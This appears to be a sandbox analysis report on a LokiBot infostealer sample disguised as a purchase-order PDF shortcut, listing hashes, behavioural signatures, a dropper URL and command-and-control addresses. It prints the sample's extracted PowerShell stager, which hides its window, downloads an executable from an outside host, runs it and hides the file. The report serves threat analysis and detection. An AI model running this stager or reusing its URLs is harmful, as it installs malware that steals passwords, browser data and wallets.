lokibot

General

Target

ORDENDECOMPRA.pdf.lnk
Size

2KB
Sample

241127-wy1m2avkbw
MD5

3efc7482d963e194a7524ea6918c0912
SHA1

d24544bc9eca9b444aa471409f6f60c49e8ca88b
SHA256

6ad3893d400a4e64de9042bd306b8d346e89f2966d417ee431ceb635e7e608b3
SHA512

6b41f1efa74f1655b60ca1bbd4e5831c1e6f314aa87f5af86ab3818f4dde9d551bab95ed58b7f267da8accc9cede878ea1b147345c0ee9111368e8f34364bcf7

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

1
Hiddden -Command dssec.dat;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe','cisencb.exe');./'cisencb.exe';(get-item 'cisencb.exe').Attributes += 'Hidden';

URLs

exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe

Extracted

Family

lokibot

C2

http://45.149.241.168/fujfygidj/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

http://naturealmikaly.sytes.net:4409/aujfygidj/five/fre.php

Targets

- Target
  
  ORDENDECOMPRA.pdf.lnk
- Size
  
  2KB
- MD5
  
  3efc7482d963e194a7524ea6918c0912
- SHA1
  
  d24544bc9eca9b444aa471409f6f60c49e8ca88b
- SHA256
  
  6ad3893d400a4e64de9042bd306b8d346e89f2966d417ee431ceb635e7e608b3
- SHA512
  
  6b41f1efa74f1655b60ca1bbd4e5831c1e6f314aa87f5af86ab3818f4dde9d551bab95ed58b7f267da8accc9cede878ea1b147345c0ee9111368e8f34364bcf7
Score

10^/10

lokibot collection discovery execution spyware stealer trojan
- Lokibot
  Lokibot is a Password and CryptoCoin Wallet Stealer.
  trojan spyware stealer lokibot
- Lokibot family
  lokibot
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
  Run Powershell and hide display window.
  execution
- Downloads MZ/PE file
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE
- Loads dropped DLL
- Reads user/profile data of web browsers
  Infostealers often target stored browser data, which can include saved credentials etc.
  spyware stealer
- Accesses Microsoft Outlook profiles
  collection
- Suspicious use of SetThreadContext
behavioral1 behavioral2